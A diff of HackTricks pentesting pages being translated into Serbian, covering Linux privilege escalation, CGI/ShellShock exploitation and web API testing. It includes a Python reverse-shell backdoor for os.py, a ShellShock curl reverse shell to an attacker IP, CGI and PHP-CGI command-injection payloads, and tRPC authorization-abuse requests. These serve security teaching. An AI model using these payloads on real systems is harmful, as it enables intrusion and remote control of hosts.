# if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1401,43 +1410,43 @@ Da biste mogli da **čitati logove**, grupa [**adm**](interesting-groups-linux-p ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Generic Creds Search/Regex +### Generičko Creds Search/Regex -Takođe bi trebalo proveriti fajlove koji sadrže reč "**password**" u svom **imenu** ili u **sadržaju**, kao i proveriti IPs i emails unutar logova, ili hashes regexps.\ -Neću ovde navoditi kako se sve ovo radi, ali ako te zanima možeš pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. +Takođe proverite fajlove koji u svom **imenu** ili unutar **sadržaja** sadrže reč "**password**", kao i IP adrese i email-ove u logovima ili hashes regexps. +Neću ovde navoditi kako se sve ovo radi, ali ako vas zanima možete pogledati poslednje provere koje [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) izvršava. -## Fajlovi sa pravima za pisanje +## Datoteke kojima se može pisati ### Python library hijacking -Ako znaš **odakle** će se python skripta izvršavati i **možeš pisati** u taj folder ili **možeš modifikovati python libraries**, možeš modifikovati OS library i backdoor it (ako možeš pisati tamo gde će se python skripta izvršavati, kopiraj i nalepi os.py library). +Ako znate **odakle** će se python skripta izvršavati i **možete pisati u** taj folder ili možete **modifikovati python libraries**, možete modifikovati OS library i backdoor it (ako možete pisati tamo gde će se python skripta izvršavati, kopirajte i nalepite os.py library). -Da **backdoor the library**, jednostavno dodaj na kraj os.py library sledeću liniju (promeni IP i PORT): +Da biste **backdoor the library**, samo dodajte na kraj os.py library sledeću liniju (promenite IP i PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate eksploatacija +### Logrotate exploitation -Ranljivost u `logrotate` dozvoljava korisnicima sa **write permissions** na log fajlu ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, često pokrenut kao **root**, može manipulisati da izvrši proizvoljne fajlove, posebno u direktorijumima kao što je _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje log rotation. +Ranljivost u `logrotate` omogućava korisnicima sa **write permissions** na log fajlu ili njegovim roditeljskim direktorijumima da potencijalno dobiju eskalirane privilegije. To je zato što se `logrotate`, koji često radi kao **root**, može manipulisati da izvrši proizvoljne fajlove, posebno u direktorijumima poput _**/etc/bash_completion.d/**_. Važno je proveriti permisije ne samo u _/var/log_ već i u bilo kom direktorijumu gde se primenjuje rotacija logova. > [!TIP] -> Ova ranljivost utiče na `logrotate` verziju `3.18.0` i starije +> Ova ranjivost utiče na verziju `logrotate` `3.18.0` i starije -Detaljnije informacije o ranjivosti mogu se naći na sledećoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Detaljnije informacije o ranjivosti možete naći na ovoj stranici: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -Ovu ranjivost možete iskoristiti pomoću [**logrotten**](https://github.com/whotwagner/logrotten). +Ranjivost možete iskoristiti pomoću [**logrotten**](https://github.com/whotwagner/logrotten). -Ova ranljivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god otkrijete da možete menjati logs, proverite ko upravlja tim logs i proverite da li možete eskalirati privilegije zamenom tih logs symlinks. +Ova ranjivost je veoma slična [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** pa kad god otkrijete da možete menjati logove, proverite ko upravlja tim logovima i proverite da li možete eskalirati privilegije zamenjujući logove symlinkovima. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Ako, iz bilo kog razloga, korisnik može da **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **or** može da **adjust** postojeću, onda je vaš **system is pwned**. +Ako iz bilo kog razloga korisnik može **write** `ifcf-` skriptu u _/etc/sysconfig/network-scripts_ **ili** može **adjust** postojeću, onda je vaš **system is pwned**. -Network scripts, _ifcg-eth0_ na primer, koriste se za network connections. Izgledaju tačno kao .INI fajlovi. Međutim, oni su ~sourced~ na Linuxu od strane Network Manager (dispatcher.d). +Network skripte, na primer _ifcg-eth0_, koriste se za mrežne konekcije. Izgledaju tačno kao .INI fajlovi. Međutim, one su ~sourced~ na Linuxu od strane Network Manager-a (dispatcher.d). -U mom slučaju, atribut `NAME=` u ovim network skriptama nije pravilno obrađen. Ako imate **razmak u imenu, sistem pokušava da izvrši deo nakon razmaka**. To znači da **sve posle prvog razmaka se izvršava kao root**. +U mom slučaju, atribut `NAME=` u ovim network skriptama se ne obrađuje ispravno. Ako u imenu imate **white/blank space u imenu, sistem pokušava da izvrši deo nakon belog/praznog prostora**. To znači da **sve nakon prvog praznog mesta se izvršava kao root**. Na primer: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1445,17 +1454,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Obratite pažnju na prazno mesto između Network i /bin/id_) +(_Obratite pažnju na razmak između Network i /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd i rc.d** -Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasični Linux sistem za upravljanje servisima**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servisa. One se mogu izvršavati direktno ili preko simboličkih linkova koji se nalaze u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. +Direktorijum `/etc/init.d` sadrži **skripte** za System V init (SysVinit), **klasični Linux sistem za upravljanje servisima**. Uključuje skripte za `start`, `stop`, `restart`, i ponekad `reload` servisa. One se mogu pokretati direktno ili preko simboličkih linkova u `/etc/rc?.d/`. Alternativna putanja na Redhat sistemima je `/etc/rc.d/init.d`. -Sa druge strane, `/etc/init` je vezan za **Upstart**, noviji **sistem za upravljanje servisima** koji je uveo Ubuntu, i koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste zajedno sa Upstart konfiguracijama zbog sloja kompatibilnosti u Upstart-u. +S druge strane, `/etc/init` je povezano sa **Upstart**, novijim sistemom za **upravljanje servisima** uvedenim od strane Ubuntu-a, koji koristi konfiguracione fajlove za zadatke upravljanja servisima. Uprkos prelasku na Upstart, SysVinit skripte se i dalje koriste pored Upstart konfiguracija zbog sloja kompatibilnosti u Upstartu. -**systemd** predstavlja moderan init i menadžer servisa, koji nudi napredne funkcionalnosti kao što su pokretanje daemon-a na zahtev, upravljanje automount-ovima i snapshot-ovanje stanja sistema. Organizira fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene administratora, pojednostavljujući administraciju sistema. +**systemd** se pojavljuje kao moderan init i menadžer servisa, nudeći napredne funkcije kao što su pokretanje daemon-a na zahtev, upravljanje automount-ovima i snapshot-ovi stanja sistema. Organizuje fajlove u `/usr/lib/systemd/` za pakete distribucije i `/etc/systemd/system/` za izmene administratora, pojednostavljujući administraciju sistema. -## Other Tricks +## Ostali trikovi ### NFS Privilege escalation @@ -1464,7 +1473,7 @@ Sa druge strane, `/etc/init` je vezan za **Upstart**, noviji **sistem za upravlj nfs-no_root_squash-misconfiguration-pe.md {{#endref}} -### Escaping from restricted Shells +### Bekstvo iz ograničenih shell-ova {{#ref}} @@ -1480,7 +1489,7 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks često hook-uju syscall da bi izložili privilegovanu kernel funkcionalnost userspace manager-u. Slaba autentifikacija manager-a (npr. signature checks zasnovane na FD-order ili loši password scheme-i) može omogućiti lokalnoj aplikaciji da impersonira manager-a i eskalira privilegije do root na uređajima koji su već root-ovani. Saznajte više i pronađite detalje o exploitovanju ovde: +Android rooting frameworks često hook-uju syscall da bi izložili privilegovanu funkcionalnost kernela userspace manageru. Slaba autentifikacija managera (npr. provere potpisa zasnovane na FD-order ili loši šemovi lozinki) može omogućiti lokalnoj aplikaciji da se predstavlja kao manager i eskalira do root na uređajima koji su već root-ovani. Saznajte više i detalje eksploatacije ovde: {{#ref}} @@ -1489,15 +1498,15 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md ## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) -Otkrivanje servisa vođeno regex-om u VMware Tools/Aria Operations može izvući putanju do binarnog fajla iz command line-a procesa i izvršiti ga sa -v u privilegovanom kontekstu. Permisivni paterni (npr. korišćenje \S) mogu pogoditi attacker-staged listenere u zapisivim lokacijama (npr. /tmp/httpd), što može dovesti do izvršavanja kao root (CWE-426 Untrusted Search Path). +Regex-driven otkrivanje servisa u VMware Tools/Aria Operations može izvući path do binarnog fajla iz command line procesa i izvršiti ga sa -v u privilegovanom kontekstu. Permisivni paterni (npr. korišćenje \S) mogu se podudariti sa attacker-staged listener-ima u zapisivim lokacijama (npr. /tmp/httpd), što vodi do izvršenja kao root (CWE-426 Untrusted Search Path). -Saznajte više i pogledajte generalizovani obrazac koji se može primeniti na druge discovery/monitoring stack-ove ovde: +Saznajte više i pogledajte generalizovani obrazac primenljiv na druge discovery/monitoring stack-ove ovde: {{#ref}} vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md {{#endref}} -## Zaštite kernela +## Kernel bezbednosne zaštite - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) @@ -1515,11 +1524,11 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumeriše kernel ranjivosti na Linux i MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**Kolekcija više skripti**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Reference diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md index 740891a93..61e347b2f 100644 --- a/src/network-services-pentesting/pentesting-web/cgi.md +++ b/src/network-services-pentesting/pentesting-web/cgi.md @@ -3,22 +3,22 @@ {{#include ../../banners/hacktricks-training.md}} -## Informacije +## Information -The **CGI scripts are perl scripts**, so, if you have compromised a server that can execute _**.cgi**_ scripts you can **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** from **.pl** to **.cgi**, give **execute permissions** \(`chmod +x`\) and **access** the reverse shell **from the web browser** to execute it. -In order to test for **CGI vulns** it's recommended to use `nikto -C all` \(and all the plugins\) +The **CGI scripts are perl scripts**, tako da, ako ste kompromitovali server koji može da izvršava _**.cgi**_ skripte, možete **upload a perl reverse shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\), **change the extension** sa **.pl** na **.cgi**, dodeliti **execute permissions** \(`chmod +x`\) i **access** the reverse shell **from the web browser** da ga izvršite. +Za testiranje **CGI vulns** preporučuje se korišćenje `nikto -C all` \(i svih plugina\) ## **ShellShock** -**ShellShock** je ranjivost koja pogađa široko korišćeni komandni tumač **Bash** na operativnim sistemima zasnovanim na Unixu. Cilja sposobnost Basha da izvršava komande prosleđene od strane aplikacija. Ranjivost leži u manipulaciji **environment variables**, koje su dinamičke imenovane vrednosti koje utiču na to kako se procesi izvršavaju na računaru. Napadači to mogu iskoristiti prikačeći **malicious code** na environment variables, koji se izvršava pri prihvatanju promenljive. Ovo napadačima omogućava potencijalno kompromitovanje sistema. +**ShellShock** je **ranjivost** koja utiče na široko korišćenu **Bash** komandnu ljusku u operativnim sistemima zasnovanim na Unixu. Cilja sposobnost **Bash** da izvršava komande prosleđene od strane aplikacija. Ranjivost leži u manipulaciji **varijablama okruženja**, koje su dinamičke imenovane vrednosti koje utiču na to kako procesi rade na računaru. Napadači mogu iskoristiti ovo dodavanjem **zlonamernog koda** u varijable okruženja, koji se izvršava prilikom prijema promenljive. Ovo omogućava napadačima da potencijalno kompromituju sistem. -Eksploatisanjem ove ranjivosti stranica bi mogla baciti grešku. +Eksploatacijom ove ranjivosti stranica može vratiti grešku. -Možete **pronaći** ovu ranjivost primetivši da se koristi **stara verzija Apache** i **cgi_mod** \(with cgi folder\) ili koristeći **nikto**. +Možete pronaći ovu ranjivost primetivši da koristi **old Apache version** i **cgi_mod** \(sa cgi folderom\) ili koristeći **nikto**. ### **Test** -Većina testova se zasniva na echo nečega i očekuje da se taj string vrati u web odgovoru. Ako mislite da stranica može biti ranjiva, pretražite sve cgi stranice i testirajte ih. +Većina testova se zasniva na korišćenju echo i očekuje da se taj string vrati u web odgovoru. Ako mislite da stranica može biti ranjiva, pretražite sve cgi stranice i testirajte ih. **Nmap** ```bash @@ -51,17 +51,17 @@ curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' htt > set rhosts 10.1.2.11 > run ``` -## Centralizovani CGI dispatcher-i (routiranje jednog endpointa preko parametara selektora) +## Centralizovani CGI dispatcheri (single endpoint routing via selector parameters) -Mnogi ugrađeni web UI-i multiplexuju desetine privilegovanih akcija iza jednog CGI endpointa (na primer, `/cgi-bin/cstecgi.cgi`) i koriste parametar selektora kao što je `topicurl=` da usmere zahtev ka internoj funkciji. +Mnogi ugrađeni web UI multiplexuju desetine privilegovanih akcija iza jednog CGI endpoint-a (na primer, `/cgi-bin/cstecgi.cgi`) i koriste selector parameter kao što je `topicurl=` da rutuju zahtev ka internoј funkciji. -Metodologija za iskorišćavanje ovih dispatcher-a: +Metodologija za eksploataciju ovih routera: -- Enumeriši imena handlera: scrape JS/HTML, brute-force with wordlists, or unpack firmware and grep for handler strings used by the dispatcher. -- Testiraj dostupnost bez autentifikacije: neki handleri zaborave auth provere i mogu se pozvati direktno. -- Fokusiraj se na handlere koji pozivaju system utilities ili rade sa fajlovima; slabi validatori često blokiraju samo nekoliko karaktera i mogu propustiti vodeći hyphen `-`. +- Enumerišite imena handlera: scrape JS/HTML, brute-force with wordlists, ili raspakujte firmware i grep-ujte za handler stringove koje koristi dispatcher. +- Testirajte unauthenticated reachability: neki handleri zaborave auth checks i mogu se pozvati direktno. +- Fokusirajte se na handlere koji invoke system utilities ili touch fajlove; slabi validatori često blokiraju samo par karaktera i mogu propustiti vodeći znak `-`. -Generic exploit shapes: +Generički oblici exploit-a: ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Content-Type: application/x-www-form-urlencoded @@ -75,31 +75,32 @@ topicurl=setEasyMeshAgentCfg&agentName=;id; # 3) Validator bypass → arbitrary file write in file-touching handlers topicurl=setWizardCfg&=/etc/init.d/S99rc ``` -Detekcija i ojačavanje: +Detekcija i hardening: -- Pazite na neautentifikovane zahteve ka centralizovanim CGI endpoint-ima sa `topicurl` postavljenim na osetljive obrađivače. -- Označite parametre koji počinju sa `-` (pokušaji injektovanja argv opcija). -- Dobavljači: zahtevajte autentifikaciju za sve obrađivače koji menjaju stanje, vršite validaciju koristeći stroge allowlists/tipove/dužine, i nikada ne prosleđujte stringove pod kontrolom korisnika kao command-line flagove. +- Pazite na neautentifikovane zahteve ka centralizovanim CGI endpoint-ovima sa `topicurl` postavljenim na osetljive handlere. +- Označite parametre koji počinju sa `-` (argv option injection attempts). +- Proizvođači: zahtevajte autentifikaciju za sve handlere koji menjaju stanje, validirajte koristeći stroge allowlists/tipove/dužine, i nikada ne prosleđujte korisnički kontrolisane stringove kao command-line flags. ## Stari PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\) -U suštini, ako je cgi aktivan i php je "star" \(<5.3.12 / < 5.4.2\) možete izvršiti kod. -Da biste iskoristili ovu ranjivost morate pristupiti nekom PHP fajlu web servera bez slanja parametara \(posebno bez slanja karaktera "="\). -Zatim, da biste testirali ovu ranjivost, možete pristupiti na primer `/index.php?-s` \(obratite pažnju na `-s`\) i **izvorni kod aplikacije će se pojaviti u odgovoru**. +U suštini, ako je CGI aktivan i PHP je "old" (<5.3.12 / < 5.4.2) možete izvršiti kod. +Da biste iskoristili ovu ranjivost, morate pristupiti nekom PHP fajlu na web serveru bez slanja parametara (posebno bez slanja karaktera "="). +Zatim, da biste testirali ovu ranjivost, možete pristupiti, na primer, `/index.php?-s` (primetite `-s`) i **izvorni kod aplikacije će se pojaviti u odgovoru**. -Zatim, da biste dobili **RCE** možete poslati ovaj specijalni upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba da se izvrši smešten je u **telu zahteva. Primer:** +Zatim, da biste dobili **RCE** možete poslati ovaj specijalni upit: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` i **PHP kod** koji treba izvršiti staviti u **telo zahteva. +Example:** ```bash curl -i --data-binary "" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input" ``` **Više informacija o vuln i mogućim exploits:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Writeup Example**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.** -## **Proxy \(MitM prema Web server zahteva\)** +## **Proxy \(MitM za zahteve Web servera\)** -CGI kreira promenljivu okruženja za svako zaglavlje u HTTP zahtevu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com" +CGI kreira promenljivu okruženja za svaki header u HTTP requestu. Na primer: "host:web.com" se kreira kao "HTTP_HOST"="web.com" -Pošto HTTP_PROXY promenljiva može biti korišćena od strane web servera, pokušajte da pošaljete **zaglavlje** koje sadrži: "**Proxy: <IP_attacker>:<PORT>**". Ako server izvrši bilo koji zahtev tokom sesije, moći ćete da presretnete svaki zahtev koji server napravi. +Budući da web server može koristiti promenljivu HTTP_PROXY, pokušajte poslati **header** koji sadrži: "**Proxy: <IP_attacker>:<PORT>**". Ako server izvrši bilo koji request tokom sesije, moći ćete da presretnete svaki request koji server napravi. -## **Referencije** +## **Reference** - [Unit 42 – TOTOLINK X6000R: Three New Vulnerabilities Uncovered](https://unit42.paloaltonetworks.com/totolink-x6000r-vulnerabilities/) diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 6d1a5fabf..9839290ba 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -2,54 +2,96 @@ {{#include ../../banners/hacktricks-training.md}} -## API Pentesting Metodologija - Sažetak +## API Pentesting Methodology Summary -Pentesting API-ja uključuje strukturirani pristup otkrivanju ranjivosti. Ovaj vodič obuhvata sveobuhvatnu metodologiju, naglašavajući praktične tehnike i alate. +Pentesting APIs zahteva strukturisan pristup za otkrivanje ranjivosti. Ovaj vodič sažima sveobuhvatnu metodologiju, sa naglaskom na praktične tehnike i alate. -### **Razumevanje Tipova API-ja** +### **Understanding API Types** -- **SOAP/XML Web Servisi**: Koriste WSDL format za dokumentaciju, obično se nalaze na `?wsdl` putanjama. Alati kao što su **SOAPUI** i **WSDLer** (Burp Suite Extension) su ključni za parsiranje i generisanje zahteva. Primer dokumentacije je dostupan na [DNE Online](http://www.dneonline.com/calculator.asmx). -- **REST API (JSON)**: Dokumentacija često dolazi u WADL datotekama, ali alati kao što je [Swagger UI](https://swagger.io/tools/swagger-ui/) pružaju korisnički prijatniji interfejs za interakciju. **Postman** je koristan alat za kreiranje i upravljanje primerima zahteva. -- **GraphQL**: Jezik upita za API-je koji nudi potpunu i razumljivu opis podataka u vašem API-ju. +- **SOAP/XML Web Services**: Koriste WSDL format za dokumentaciju, obično dostupan na `?wsdl` putanjama. Alati kao što su **SOAPUI** i **WSDLer** (Burp Suite Extension) su korisni za parsiranje i generisanje zahteva. Primer dokumentacije dostupan je na [DNE Online](http://www.dneonline.com/calculator.asmx). +- **REST APIs (JSON)**: Dokumentacija često dolazi u WADL fajlovima, ali alati poput [Swagger UI](https://swagger.io/tools/swagger-ui/) obezbeđuju pristupačniji interfejs za interakciju. **Postman** je vredan alat za kreiranje i upravljanje primerima zahteva. +- **GraphQL**: Je query language za API-je koji pruža potpun i razumljiv opis podataka u vašem API-ju. -### **Praktične Laboratorije** +### **Practice Labs** -- [**VAmPI**](https://github.com/erev0s/VAmPI): Namerno ranjiv API za praktičnu obuku, pokrivajući OWASP top 10 API ranjivosti. +- [**VAmPI**](https://github.com/erev0s/VAmPI): Namerno ranjiv API za praktičnu vežbu, pokrivajući OWASP top 10 API ranjivosti. -### **Efikasne Tehnike za API Pentesting** +### **Effective Tricks for API Pentesting** -- **SOAP/XML Ranjivosti**: Istražite XXE ranjivosti, iako su DTD deklaracije često ograničene. CDATA tagovi mogu omogućiti umetanje payload-a ako XML ostane validan. -- **Povećanje Privilegija**: Testirajte krajnje tačke sa različitim nivoima privilegija kako biste identifikovali mogućnosti neovlašćenog pristupa. -- **CORS Pogrešne Konfiguracije**: Istražite CORS podešavanja za potencijalnu iskoristivost kroz CSRF napade iz autentifikovanih sesija. -- **Otkriće Krajnjih Tačaka**: Iskoristite API obrasce za otkrivanje skrivenih krajnjih tačaka. Alati kao što su fuzzers mogu automatizovati ovaj proces. -- **Manipulacija Parametrima**: Eksperimentišite sa dodavanjem ili zamenom parametara u zahtevima kako biste pristupili neovlašćenim podacima ili funkcionalnostima. -- **Testiranje HTTP Metoda**: Varirajte metode zahteva (GET, POST, PUT, DELETE, PATCH) kako biste otkrili neočekivana ponašanja ili otkrivanje informacija. -- **Manipulacija Content-Type**: Prebacujte se između različitih tipova sadržaja (x-www-form-urlencoded, application/xml, application/json) kako biste testirali probleme sa parsiranjem ili ranjivosti. -- **Napredne Tehnike Parametara**: Testirajte sa neočekivanim tipovima podataka u JSON payload-ima ili se igrajte sa XML podacima za XXE injekcije. Takođe, pokušajte sa zagađenjem parametara i karakterima sa zvezdicom za šire testiranje. -- **Testiranje Verzija**: Starije verzije API-ja mogu biti podložnije napadima. Uvek proverite i testirajte protiv više verzija API-ja. +- **SOAP/XML Vulnerabilities**: Istražite XXE ranjivosti, iako su DTD deklaracije često ograničene. CDATA tagovi mogu dozvoliti umetanje payload-a ako XML ostane validan. +- **Privilege Escalation**: Testirajte endpoint-e sa različitim nivoima privilegija da identifikujete mogućnosti neautorizovanog pristupa. +- **CORS Misconfigurations**: Ispitajte CORS podešavanja zbog potencijalne iskoristivosti kroz CSRF napade iz autentifikovanih sesija. +- **Endpoint Discovery**: Iskoristite obrasce API-ja za otkrivanje skrivenih endpoint-a. Alati poput fuzzer-a mogu automatizovati ovaj proces. +- **Parameter Tampering**: Eksperimentišite sa dodavanjem ili zamenom parametara u zahtevima da biste pristupili neautorizovanim podacima ili funkcionalnostima. +- **HTTP Method Testing**: Menjajte metode zahteva (GET, POST, PUT, DELETE, PATCH) da otkrijete neočekivana ponašanja ili curenja informacija. +- **Content-Type Manipulation**: Prebacujte se između različitih content-type-a (x-www-form-urlencoded, application/xml, application/json) da testirate probleme sa parsiranjem ili ranjivosti. +- **Advanced Parameter Techniques**: Testirajte sa neočekivanim tipovima podataka u JSON payload-ima ili se igrajte sa XML podacima za XXE injekcije. Takođe, isprobajte parameter pollution i wildcard karaktere za šire testiranje. +- **Version Testing**: Starije verzije API-ja mogu biti podložnije napadima. Uvek proverite i testirajte protiv više verzija API-ja. -### **Alati i Resursi za API Pentesting** +### Autorizacija i poslovna logika (AuthN != AuthZ) — tRPC/Zod protectedProcedure zamke -- [**kiterunner**](https://github.com/assetnote/kiterunner): Odličan za otkrivanje API krajnjih tačaka. Koristite ga za skeniranje i brute force putanja i parametara protiv ciljanih API-ja. +Moderni TypeScript stack-ovi često koriste tRPC sa Zod za validaciju input-a. U tRPC-u, `protectedProcedure` obično osigurava da zahtev ima validnu sesiju (autentikaciju) ali ne implicira da pozivalac ima odgovarajuću rolu/permision (autorizaciju). Ova neusaglašenost dovodi do Broken Function Level Authorization/BOLA ako su osetljive procedure zaštićene samo pomoću `protectedProcedure`. + +- Threat model: Bilo koji autentifikovani korisnik sa niskim privilegijama može pozvati procedure namenjene adminu ako nedostaju provere role/permisiona (npr. background migrations, feature flags, tenant-wide maintenance, job control). +- Black-box signal: `POST /api/trpc/.` endpoint-i koji uspevaju za osnovne naloge kada bi trebali biti samo za admin-e. Samouslužna registracija znatno povećava mogućnost eksploatacije. +- Typical tRPC route shape (v10+): JSON body wrapped under `{"input": {...}}`. + +Example vulnerable pattern (no role/permission gate): +```ts +// The endpoint for retrying a migration job +// This checks for a valid session (authentication) +retry: protectedProcedure +// but not for an admin role (authorization). +.input(z.object({ name: z.string() })) +.mutation(async ({ input, ctx }) => { +// Logic to restart a sensitive migration +}), +``` +Praktična eksploatacija (black-box) + +1) Registrujte običan nalog i obezbedite autentifikovanu sesiju (cookies/headers). +2) Enumerišite pozadinske poslove ili druge osetljive resurse putem “list”/“all”/“status” procedura. +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.all' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{}}' +``` +3) Izvršiti privilegovane akcije, kao što je ponovno pokretanje zadatka: +```bash +curl -s -X POST 'https:///api/trpc/backgroundMigrations.retry' \ +-H 'Content-Type: application/json' \ +-b '' \ +--data '{"input":{"name":""}}' +``` +Impact to assess + +- Oštećenje podataka usled ponovnih pokretanja koja nisu idempotentna: Forsiranje istovremenih izvršavanja migrations/workers može izazvati race conditions i nedosledna parcijalna stanja (neprimetan gubitak podataka, pokvarena analitika). +- DoS putem iscrpljivanja worker/DB resursa: Ponavljanim pokretanjem teških poslova može se iscrpeti pool worker-a i konekcije prema bazi podataka, izazivajući prekide usluge za ceo tenant. + +### **Alati i resursi za API Pentesting** + +- [**kiterunner**](https://github.com/assetnote/kiterunner): Odličan za otkrivanje API endpoint-a. Koristite ga za skeniranje i brute force putanja i parametara protiv ciljnih API-ja. ```bash kr scan https://domain.com/api/ -w routes-large.kite -x 20 kr scan https://domain.com/api/ -A=apiroutes-220828 -x 20 kr brute https://domain.com/api/ -A=raft-large-words -x 20 -d=0 kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 ``` -- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj je alat za komandnu liniju dizajniran da pomogne u reviziji **izloženih Swagger/OpenAPI definicija** proverom povezanih API krajnjih tačaka na slabu autentifikaciju. Takođe pruža šablone komandi za ručno testiranje ranjivosti. -- Dodatni alati kao što su **automatic-api-attack-tool**, **Astra** i **restler-fuzzer** nude prilagođene funkcionalnosti za testiranje sigurnosti API-ja, od simulacije napada do fuzzinga i skeniranja ranjivosti. -- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To je alat za sigurnost API-ja koji vrši reviziju vašeg API-ja na osnovu OAS datoteke (alat napisan u rustu). +- [**https://github.com/BishopFox/sj**](https://github.com/BishopFox/sj): sj je command line alat dizajniran da pomogne pri auditu **izloženih Swagger/OpenAPI definition files** proverom povezanih API endpoints za slabu autentifikaciju. Takođe pruža šablone komandi za manuelno testiranje ranjivosti. +- Dodatni alati kao što su **automatic-api-attack-tool**, **Astra**, i **restler-fuzzer** pružaju specijalizovane funkcionalnosti za API security testing, od simulacije napada do fuzzing-a i skeniranja ranjivosti. +- [**Cherrybomb**](https://github.com/blst-security/cherrybomb): To je API security alat koji vrši audit vašeg API-ja na osnovu OAS fajla (alat je napisan u Rust). -### **Resursi za učenje i praksu** +### **Resursi za učenje i vežbu** -- **OWASP API Security Top 10**: Osnovno štivo za razumevanje uobičajenih ranjivosti API-ja ([OWASP Top 10](https://github.com/OWASP/API-Security/blob/master/2019/en/dist/owasp-api-security-top-10.pdf)). -- **API Security Checklist**: Sveobuhvatna lista za osiguranje API-ja ([GitHub link](https://github.com/shieldfy/API-Security-Checklist)). -- **Logger++ Filters**: Za pronalaženje ranjivosti API-ja, Logger++ nudi korisne filtre ([GitHub link](https://github.com/bnematzadeh/LoggerPlusPlus-API-Filters)). -- **API 